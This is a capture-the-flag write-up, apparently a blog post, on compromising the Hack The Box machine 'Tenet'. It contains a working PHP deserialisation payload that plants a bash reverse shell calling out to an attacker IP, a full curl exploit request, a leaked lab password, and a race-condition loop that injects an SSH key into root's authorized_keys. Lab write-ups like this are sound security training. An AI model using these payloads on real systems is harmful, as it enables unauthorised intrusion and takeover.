Hack The Box — Tenet — Write up
Tenet is a Medium difficulty machine that features an Apache web server. It contains a Wordpress blog with a few posts. One of the comments on the blog mentions the presence of a PHP file along with it’s backup. It is possible after identificaiton of the backup file to review it’s source code. The code in PHP file is vulnerable to an insecure deserialisation vulnerability and by successful exploiting it a foothold on the system is achieved. While enumerating the system it was found that the Wordpress configuration file can be read and thus gaining access to a set of credentials. By using them we can move laterally from user www-data to user Neil. Further system enumeration reveals that this user have root permissions to run a bash script through sudo. The script is writing SSH public keys to the authorized_keys file of the root user and is vulnerable to a race condition. After successful exploitation, attackers can write their own SSH keys to the authorized_keys file and use them to login to the system as root.
Enumeration
Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Let’s add the machine name in the /etc/hosts
file.
10.10.10.223 tenet.htb
Port 80 — Wordpress Blogsite
Looking around the site, we find a comment by a user neil
on the post “Migration”. The comment is as follows:
did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!
So, there is some sort of a backup site and a file called sator.php
(?). Fuzzing for the file in tenet.htb, we couldn’t find anything.
There might be virtual hosting on the site. So we try adding sator.tenet.htb
to our /etc/hosts file. And going over to sator.tenet.htb, we find the apache2 default webpage. Now, going to the URI http://sator.tenet.htb/sator.php
, we find the following.
So the php file is there, and it is getting executed. Since, there was a mention of some backup, we try getting the file sator.php.bak
. And we see that, it does have a file in the same name. We download it to our local machine.
wget http://sator.tenet.htb/sator.php.bak
And analyze the code.
// sator.php
<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file,
$this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
After analyze
the code we see that the script looks for a GET input variable arepo
and unserializes it. we might be able to exploit it using PHP Object Deserialization
and the class called DatabaseExport
with a __destruct
function This function is what we can use to get RCE
. The function uses file_put_contents
to write the variable data to the file defined in the variable user_file
.
So with the help of the article
we write the class DatabaseExport
on our local machine, define user_file
to be a php file and the data to be a php_reverse_shell
to our local machine.
Now, to exploit this, we can do the following:
- We write the class DatabaseExport on our local machine, define user_file to be a php file and the data to be a php reverse shell to our local machine.
- We serialize our defined class and pass it as input to the GET variable
variable
. - The input gets passed to
deserialize
and a new instance of the class is created with our defined variables. - At the __destruct function, our reverse shell gets written to the root of the web directory to the filename defined by us(rce.php in my case). Now if we go to the URI of the file, we can get a reverse shell.
We write the following
class DatabaseExport {
public $user_file = 'rce.php';
public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/10.10.14.47/5555 0>&1\'"); ?>';
}
print urlencode(serialize(new DatabaseExport));
We copy the output of the print command and pass it to the GET variable using curl.
curl -i http://sator.tenet.htb/sator.php?arepo=O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A7%3A%22rce.php%22%3Bs%3A4%3A%22data%22%3Bs%3A73%3A%22%3C%3Fphp+exec%28%22%2Fbin%2Fbash+-c+%27bash+-i+%3E+%2Fdev%2Ftcp%2F10.10.14.47%2F5555+0%3E%261%27%22%29%3B+%3F%3E%22%3B%7D
We open a nc listener on port 5555 and get a reverse shell by browsing the URI http://sator.tenet.htb/rce.php
.
nc -lnvp 5555
Privilege Escalation — User
We find ourselves in the html
directory. Going over to the wordpress
directory, we find the config file wp-config.php
. Cat-ing out the contents, we find a password for the user neil.
/** MySQL database username */
define( 'DB_USER', 'neil' );
/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );
Creds found:
neil: Opera2112
We ssh into user neil.
Privilege Escalation — Root
Before running LinEnum
Let's check manually
.
sudo -l
Let’s check the file content inside /usr/local/bin/enableSSH.sh
. Checking the file, the following function is interesting.
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
What this script does is writes a id_rsa.pub key defined in key to a randomly generated file of format /tmp/ssh-XXXXXXXX
and then copies the contents of the file to the known_hosts
of the root. And then deletes the tmp file.
So, if we can write our own ssh key to the tmp file before it gets copied to known_hosts, our key will get written to known_hosts and we can ssh into root. So we write an infinite while loop in bash that continuously writes our ssh key to any file of format /tmp/ssh-XXXXXXXX
using wild character. And while this runs, we run the script as sudo a number of times as we cannot be sure, if the key got written before the file getting removed.
while true;do echo "ssh-rsa AAAA********d/ovP0Ws= root@kali" | tee /tmp/ssh-* > /dev/null;done
sudo /usr/local/bin/enableSSH.sh
After running the script for a number of times, we check if we can ssh into root. And yes, we got in.
And we pwned
it …….
Visit My Hack The Box Profile —
https://app.hackthebox.eu/profile/464208
For any queries contact on my twitter and linkedin profiles -